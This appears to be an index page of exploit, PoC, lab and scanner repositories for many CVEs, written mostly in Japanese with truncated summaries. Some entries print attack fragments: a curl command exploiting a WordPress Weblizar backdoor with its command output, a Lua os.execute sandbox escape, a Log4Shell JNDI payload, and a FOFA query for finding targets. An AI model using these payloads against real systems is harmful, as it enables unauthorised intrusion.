CVE-2017-18044-Exploit

CVE-2017-18044 ネイティブPOC これは、Commvault v11 SP5 およびそれ以前のバージョンにおける CVE-2017-18044 コマンドインジェクション脆弱性の非常にシンプルなPOCです。Metasploit ユーザーのために、最新ビルドにはエクスプロイトのRuby版も同梱されています。 https://www.rapid7.com/db/modules/exploit/windows/misc/commvaultcmdexec 使用方法: comvlt root@kitploit: -h 使用方法 -i ホストのIPアドレス デフォルト: 127.0.0....

analysis-and-poc-n8n-CVE-2025-68613

概要 n8n と CVE-2025-68613 n8n は、ビジュアルフローと JavaScript 式を通じてシステムやサービスを統合するために使用されるワークフロー自動化プラットフォームです。 CVE-2025-68613 は、CVSS 9.9 の重大なリモートコード実行 RCE 脆弱性であり、n8n の複数のバージョンに影響を与えます。この欠陥は、適切に分離されていない脆弱なバージョンのワークフローにおける JavaScript 式の処理中に発生します。これにより、編集権限を持つ認証済みユーザーが、アプリケーションの想定された動作の範囲外でコードを実行できる ようになります。...

CVE-2021-42013

CVE-2021-41773 / CVE-2021-42013 Apache 脆弱性スキャナ CVE-2021-41773 および CVE-2021-42013 のパストラバーサルとリモートコード実行の脆弱性を、Apache HTTP Server バージョン 2.4.49 および 2.4.50 に対して検出する、Python ベースの包括的な脆弱性スキャナです。 概要 CVE-2021-41773 と CVE-2021-42013 は、Apache HTTP Server に影響を与える重大な脆弱性であり、攻撃者に以下を可能にします： サーバー上の任意のファイルの読み取り...

CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook-

CVE-2026-22003 – debug.sethook による Redis Lua サンドボックスエスケープ プログラムコード（Lua + Python トリガー） root@kitploit: -- redissandbox.lua - Script that attempts sandbox escape local function escape debug.sethookfunction -- This hook runs in a privileged context os.execute"id /tmp/redisescape" end, "r" local a = 1...

React2Shell-CVE-Lab

⚛️ React2Shell: CVE-2025-55182 脆弱性ラボ ⚠️ 警告: 意図的に脆弱性を含むアプリケーション このリポジトリには、CVE-2025-55182 React2Shell に対して脆弱になるように特別に構成された Docker 化アプリケーションが含まれています。 このコンテナを本番環境やインターネットに公開されたサーバーにデプロイしないでください 。 適切なネットワーク分離を行わずに、機密データを含むマシン上で実行しないでください 。 このラボは教育目的、セキュリティ研究、CTF シミュレーション 専用です。 🎯 チャレンジ概要 このラボは、Simple Web...

redis-poc

Redis Authenticated RCE stream NACK double free、TDigest & TopK モジュールのバグ Redis 6.2.22、7.4.9、8.6.4 に対する非破壊的なRCEエクスプロイトです。ストリームのコンシューマーグループにおける共有NACKの二重解放（CVE-2026-25243のパッチ回避）を使用し、8.8.0 ではバンドルされたRedisBloomのTDigestヒープオーバーフロー、8.8.1 ではTopKのワイルドフリー（CVE-2026-25589のパッチ回避）を使用します。 ファイル Aexploitstock.py —...

Havoc-C2-SSRF-to-RCE

Havoc-C2-SSRF-to-RCE これは、@chebuya による CVE-2024-41570 SSRF PoC を、@hyperreality による認証付きRCEエクスプロイトと連結した修正版です。このエクスプロイトは、Havoc C2 Framework. の複数の脆弱性により、対象に対してリモートでコードを実行します。 https://github.com/user-attachments/assets/b75c5934-0326-4994-a695-c18bf95a1e25 root@kitploit: usage: CVE-2024-41570.py -h -t...

CVE-2025-24893_Analysis

CVE-2025-24893 - XWiki SolrSearch SSTI から認証なしRCEへ CVE-2025-24893 を再現する自己完結型のDockerラボです。この脆弱性は XWiki の SolrSearch RSS フィードにおけるサーバーサイドテンプレートインジェクションで、認証なしのリモートコード実行につながります。脆弱性のあるバージョン 15.10.10 と修正済みバージョン 15.10.11 の両方を実行するため、同じリクエストが一方では成功し、もう一方では失敗することを示せます。 AIツールの使用に関する注記。...

CVE-2016-2098-PoC

CVE-2016-10033-PoC これはPentesterLab用に書きました PentesterLabを利用しているなら、カンニングはしないでください。自分で学ぶ方がずっと良いです。 誰かの役に立てば幸いです。将来の自分にとってもね : 対話型シェルと便利なargparse機能も備えています。 Usage root@kitploit: usage: script.py -h --url URL --param PARAM --proxy --raw --no-color script.py: error: the following arguments are required:...

CVE-2019-0708-EXPloit-3389

CVE-2019-0708-EXPloit-3389 リモートデスクトップRDPサービスのリモートコード実行脆弱性CVE-2019-0708...

Vulnerable-Lab-Exploitation

Vulnerable-Lab-Exploitation 仮想セキュリティラボのセットアップ、ネットワーク偵察、およびCVE-2012-1823のエクスプロイトを実演するハンズオンプロジェクトです。 脆弱性ラボのセットアップとPHP CGIエクスプロイト CVE-2012-1823 🎯 プロジェクト概要 このプロジェクトは、包括的なペネトレーションテストを実施するための隔離された仮想ラボ環境の構築を実演するものです。旧式のLinuxサーバーに対する現実世界の攻撃をシミュレートし、ネットワーク発見から不正なリモートアクセスの獲得までを実行しました。 🛠️ 使用ツールと技術 ハイパーバイザー:...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 未授权远程代码执行漏洞 F5 BIG-IP iControl REST身份验证绕过RCE漏洞 fofa keywords: title="BIG-IP- Redirect" 用法 攻击 root@kitploit: $ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx + https://203.xxx.xxx.xxx is vulnerable input your command:...

react2shell-audit

React2Shell Audit CVE-2025-55182 React2Shell Audit は、CVE-2025-55182 （React2Shell）および CVE-2025-66478 に対して脆弱なローカルの Next.js および React Server DOM インストールを検出するために設計された、軽量で再帰的な Bash スクリプトです。 🚨 脆弱性 React2Shell は、React Server Components（RSC）における深刻なリモートコード実行（RCE）脆弱性です。認証されていない攻撃者が、RSC の "Flight"...

CVE-2020-14882

WebLogic CVE-2020-14882 / CVE-2020-14883 テストスクリプト このプロジェクトは、Oracle WebLogic サーバーが 認証バイパス CVE-2020-14882 と、それに関連する リモートコード実行ベクター CVE-2020-14883 に対して脆弱かどうかをテストするためのシンプルな Bash スクリプトを提供します。 このスクリプトは、WebLogic Console のパストラバーサルエンドポイント /console/images/%252E%252E%252Fconsole.portal に POST リクエストを送信します。...

cve-2018-9951

Foxit Reader CPDFObject の Use-After-Free リモートコード実行の脆弱性 脆弱性 解放された後のメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードを実行したりする可能性があります。 脆弱性の説明 この脆弱性により、リモートの攻撃者が Foxit Reader の脆弱なインストール環境で任意のコードを実行できる可能性があります。この脆弱性を悪用するには、ターゲットが悪意のあるページを訪問するか、悪意のあるファイルを開く必要があるため、ユーザー操作が必要です。 具体的な欠陥は、CPDFObject...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - 解放後使用 脆弱性 解放されたメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードが実行されたりする可能性があります。 脆弱性の説明 Internet Explorer...

log4j2-issue-check

Log4Shellの評価: RCEゼロデイ問題 このリポジトリには、Log4j2問題 CVE-2021-44228 を評価するコードが含まれています 詳細 https://www.lunasec.io/docs/blog/log4j-zero-day/ テスト方法 クエリパラメータとして$jndi:ldap://127.0.0.1:3089/を指定したGETリクエストを送信します。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールのリモートコード実行（RCE）脆弱性 CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、Git リポジトリの再帰的クローンを介して悪意のあるペイロードがどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に次のリポジトリを作成するか、必要に応じて名前を自由に変更してください。 hulk.git submod.git smash.git 名前を変更した場合は、Po...

CVE-2026-83549

Post-authentication Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability has been identified in the SMA1000 Appliance Management Console AMC which in specific conditions could potentially enable a remote authenticated attacker as administrator to...